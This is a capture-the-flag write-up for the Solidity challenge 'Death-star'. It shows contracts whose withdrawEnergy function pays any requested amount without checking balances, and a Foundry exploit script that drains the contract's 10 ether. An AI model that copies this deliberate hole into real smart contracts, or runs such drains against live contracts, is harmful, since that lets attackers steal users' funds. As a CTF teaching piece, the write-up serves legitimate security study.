Writeup for Death-star

  • Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.

Challenge Description

The Death Start is under development but the darkside ran out of funds, so they reached out to the public to help. Can you stop the Death Star from being developed?

Author: MaanVad3r

The Challenge and Exploit

The below are source contracts

  1. Setup contract
 1// SPDX-License-Identifier: UNLICENSED
 2pragma solidity ^0.8.18;
 3
 4import "./DeathStar.sol";
 5import "./DarksidePool.sol";
 6
 7contract Setup {
 8    DeathStar public deathStar;
 9    DarksidePool public darksidePool;
10
11    constructor() payable {
12        require(msg.value == 20 ether, "Setup requires 20 ETH");
13
14        
15        deathStar = new DeathStar();
16        (bool success1, ) = address(deathStar).call{value: 10 ether}("");
17        require(success1, "Failed to fund DeathStar");
18
19       
20        darksidePool = new DarksidePool(address(deathStar));
21        (bool success2, ) = address(darksidePool).call{value: 10 ether}("");
22        require(success2, "Failed to fund DarksidePool");
23
24       
25        require(address(deathStar).balance > 0, "DeathStar must have initial balance");
26    }
27
28    function isSolved() external view returns (bool) {
29        return address(deathStar).balance == 0;
30    }
31}
  1. DeathStar contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.18;
 3
 4contract DeathStar {
 5    mapping(address => uint256) public balances;
 6
 7    function deposit() external payable {
 8        require(msg.value > 0, "Must deposit non-zero ETH");
 9        balances[msg.sender] += msg.value;
10    }
11
12
13    function getBalance() public view returns (uint256) {
14        return address(this).balance;
15    }
16
17    
18    function calculateDeathStarEnergy(uint256 input) public pure returns (uint256) {
19        uint256 energy;
20        assembly {
21            let factor := 0x42 
22            energy := mul(input, factor)
23            energy := add(energy, 0x5a) 
24        }
25        return energy;
26    }
27
28    
29    function encodeDeathStarPlans(bytes memory data) public pure returns (bytes memory) {
30        bytes memory encoded;
31        assembly {
32            let len := mload(data)
33            encoded := mload(0x40)
34            mstore(0x40, add(encoded, add(len, 0x20)))
35            mstore(encoded, len)
36            let ptr := add(encoded, 0x20)
37            for { let i := 0 } lt(i, len) { i := add(i, 1) } {
38                let char := byte(0, mload(add(data, add(i, 0x20))))
39                mstore8(add(ptr, i), xor(char, 0xff)) 
40            }
41        }
42        return encoded;
43    }
44
45
46    function withdrawEnergy(uint256 amount) external {
47
48        
49        (bool success, ) = msg.sender.call{value: amount}("");
50        require(success, "Transfer failed");
51
52        balances[msg.sender] = 0; 
53    }
54
55    
56    function selfDestructCountdown(uint256 start) public pure returns (uint256) {
57        uint256 countdown;
58        assembly {
59            countdown := start
60            for { } gt(countdown, 0) { countdown := sub(countdown, 1) } {
61                
62                let waste := mul(countdown, countdown)
63                waste := add(waste, 0xdeadbeef)
64            }
65        }
66        return countdown;
67    }
68
69    
70    function decryptDeathStarMessage(bytes32 encrypted) public pure returns (bytes32) {
71        bytes32 decrypted;
72        assembly {
73            decrypted := xor(encrypted, 0x0123456789abcdef0123456789abcdef) 
74        }
75        return decrypted;
76    }
77
78    receive() external payable {}
79
80}
  1. DarkSidePool
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.18;
 3
 4interface IDeathStar {
 5    function deposit() external payable;
 6    function withdrawEnergy(uint256 amount) external;
 7}
 8
 9contract DarksidePool {
10    IDeathStar public starWarsTheme;
11
12    constructor(address _starWarsTheme) {
13        starWarsTheme = IDeathStar(_starWarsTheme);
14    }
15
16    function depositToStarWars() external payable {
17        require(msg.value > 0, "Must send ETH to deposit");
18        starWarsTheme.deposit{value: msg.value}();
19    }
20
21
22
23    
24    function generateDarkSidePower(uint256 input) public pure returns (uint256) {
25        uint256 powerLevel;
26        assembly {
27            let basePower := 0x66 
28            powerLevel := mul(input, basePower)
29            powerLevel := xor(powerLevel, 0xdeadbeef) 
30        }
31        return powerLevel;
32    }
33
34    
35    function encryptSithHolocron(bytes memory data) public pure returns (bytes memory) {
36        bytes memory encrypted;
37        assembly {
38            let len := mload(data)
39            encrypted := mload(0x40)
40            mstore(0x40, add(encrypted, add(len, 0x20)))
41            mstore(encrypted, len)
42            let ptr := add(encrypted, 0x20)
43            for { let i := 0 } lt(i, len) { i := add(i, 1) } {
44                let char := byte(0, mload(add(data, add(i, 0x20))))
45                mstore8(add(ptr, i), xor(char, 0xa5)) // XOR with 0xa5 for obfuscation
46            }
47        }
48        return encrypted;
49    }
50
51    function withdrawFromStarWars(uint256 amount) external {
52        starWarsTheme.withdrawEnergy(amount);
53    }
54
55    
56    function simulateDarkSideCorruption(uint256 start) public pure returns (uint256) {
57        uint256 corruptionLevel;
58        assembly {
59            corruptionLevel := start
60            for { } gt(corruptionLevel, 0) { corruptionLevel := sub(corruptionLevel, 1) } {
61                
62                let chaos := mul(corruptionLevel, corruptionLevel)
63                chaos := add(chaos, 0x42)
64            }
65        }
66        return corruptionLevel;
67    }
68
69    
70    function decodeSithProphecy(bytes32 encrypted) public pure returns (bytes32) {
71        bytes32 decoded;
72        assembly {
73            decoded := xor(encrypted, 0xdeadbeefcafebabe1234567890abcdef) 
74        }
75        return decoded;
76    }
77
78    
79    function calculateForceImbalance(uint256 darkForce, uint256 lightForce) public pure returns (uint256) {
80        uint256 imbalance;
81        assembly {
82            imbalance := sub(darkForce, lightForce)
83            imbalance := xor(imbalance, 0xbeef) 
84        }
85        return imbalance;
86    }
87
88    receive() external payable {}
89
90}

The Setup contract initializes both the Deathstar and DarksidePool contracts with 10 ether each. Our task is to make Setup:isSolved return true. This function will return true only when the balance of Deathstar becomes zero. Therefore, we need to find a way to drain the balance of Deathstar in order to solve the challenge.

1function withdrawEnergy(uint256 amount) external {
2
3        
4    (bool success, ) = msg.sender.call{value: amount}("");
5    require(success, "Transfer failed");
6
7    balances[msg.sender] = 0; 
8}

In the DeathStar:withdrawEnergy function, it takes an amount parameter as input. The function then transfers the specified amount to the msg.sender (the caller) using a low-level call function. After the transfer, it updates the balance of msg.sender to zero.

So, if we simply call this function and pass 10 ether as the amount, the contract’s balance will be drained.

The below is the exploit script.

 1// SPDX-License-Identifier: SEE LICENSE IN LICENSE
 2pragma solidity ^0.8.0;
 3
 4import {Script} from "forge-std/Script.sol";
 5
 6interface IDeathStar{
 7    function withdrawEnergy(uint256 amount) external; 
 8}
 9
10interface ISetup{
11    function deathStar() external view returns(IDeathStar);
12}
13
14contract createExploit is Script{
15    function run()public{
16        address _setup=/* YOUR+_SETUP_ADDRESS*/;
17        vm.startBroadcast();
18        ISetup setup=ISetup(_setup);
19        IDeathStar deathStar=setup.deathStar();
20        deathStar.withdrawEnergy(10 ether);
21        vm.stopBroadcast();
22    }
23}

***Hope you enjoyed this write-up. Keep on hacking and learning!***